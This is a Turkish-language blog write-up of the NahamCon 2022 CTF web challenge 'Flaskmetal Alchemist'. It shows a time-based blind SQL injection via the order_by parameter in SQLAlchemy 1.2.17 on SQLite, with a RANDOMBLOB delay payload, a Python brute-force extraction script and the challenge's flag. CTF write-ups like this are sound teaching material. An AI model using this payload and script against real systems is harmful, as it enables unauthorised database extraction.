Avatar
Kişisel Blog

Nahamcon 2022 Web Soruları - Flaskmetal Alchemist

CTF Linki: https://ctf.nahamcon.com/challenges

Kategori: Time Based SQL Injection

TLDR; Uygulamanın search alanında SQL Injection zafiyeti var. Responseda bir çıktı vermiyor. Bu yüzden zafiyet zaman bazlı sömürülerek flag okunabiliyor.

Adimlar

Uygulamaya giriş yapıldığında aşağıdaki gibi bir ekranla karşılaşıyoruz. Burada search alanına herhangi bir text yazıp gönderdiğimizde aşağıdaki sonuçlar filtrelenerek geliyor. Sağ tarafta ise Sort By butonuyla da çıktıları sıralayabiliyoruz.

01

Uygulamanın genel akışına baktığımda burada SQL injection ile alakalı bir zafiyet çıkmasını beklerim. SQL Injection zafiyetini tespit edebilmek adına requestte giden her bir parametreye Tek Tirnak (‘) ve Cift Tirnak (“) gonderdim. sort_by parametresine tırnak atıp gönderdiğimde uygulama cevap dönemiyordu. Belli ki arkada bir şeyleri bozuyoruz.

Biraz daha uygulama hakkında bilgi edinebilmek için paylaştıkları kaynak kodu inceledim. SQL Engine olarak SQLite kullanıldığını öğrendim.

02

Uygulama Flask ile yazılmış. Modellere de bakmakta fayda var diyerek yazılmış olan iki modelden birisinin de flag tablosuna baktığını öğrendim.

03

Biraz da paket versiyonlarından bir şey çıkartmak için requirements.txt içerisine baktım. Uygulama SQLAlchemy’nin 1.2.17 versiyonunu kullanıyormuş.

04

İnternetten araştırdığımda ise açılan bir Pull Requestte order_by() fonksiyonundaki bir zafiyetten bahsedildiğini gördüm. [1]

05

Hemen aşağıdaki gibi payloadı oluşturdum.

Extract Flag Payload: symbol,(case when (SELECT hex(substr(flag,1,1)) FROM flag limit 1 offset 0) = hex('f') then 10=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(40000000/2)))) end)

Payloadı açıklamak gerekirse;

  • (...) –> alt sorgu açmak için
  • CASE WHEN __karar_mekanizmasi__ THEN __false_donerse_calisan_sorgu__ END
  • (SELECT hex(substr(flag,1,1)) FROM flag limit 1 offset 0) = hex('f') –> flag tablosundaki ilk kaydın ilk karakteri f ye eşit mi
  • 10=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(40000000/2)))) –> SQLite da sleep mekanizması. 40 saniye bekle anlamında.

Açıklamamızı yaptıktan sonra aşağıdaki gibi seri şekilde scriptimizi de yazdık.

import requests

small_letters = 'abcdefghijklmnopqrstuvwxyz'
numbers = '0123456789'

def send_post_request(url, data):
    response = requests.post(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})
    return response.text

url = 'http://challenge.nahamcon.com:31426'

for i in range(1, 21):
    for char in small_letters+numbers+'{}_':
        data = "search=b&order=symbol,(case%20when%20(SELECT%20hex(substr(flag,{},1))%20FROM%20flag%20limit%201%20offset%200)%20=%20hex('{}')%20then%2010=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(40000000/2))))%20end)".format(i, char)
        try:
            send_post_request(url, data)
        except requests.exceptions.ConnectionError:
            print(i, char)
            break

Script bir süre sonra bize flagi verdi.

06

FLAG: flag{order_by_blind}

References

all tags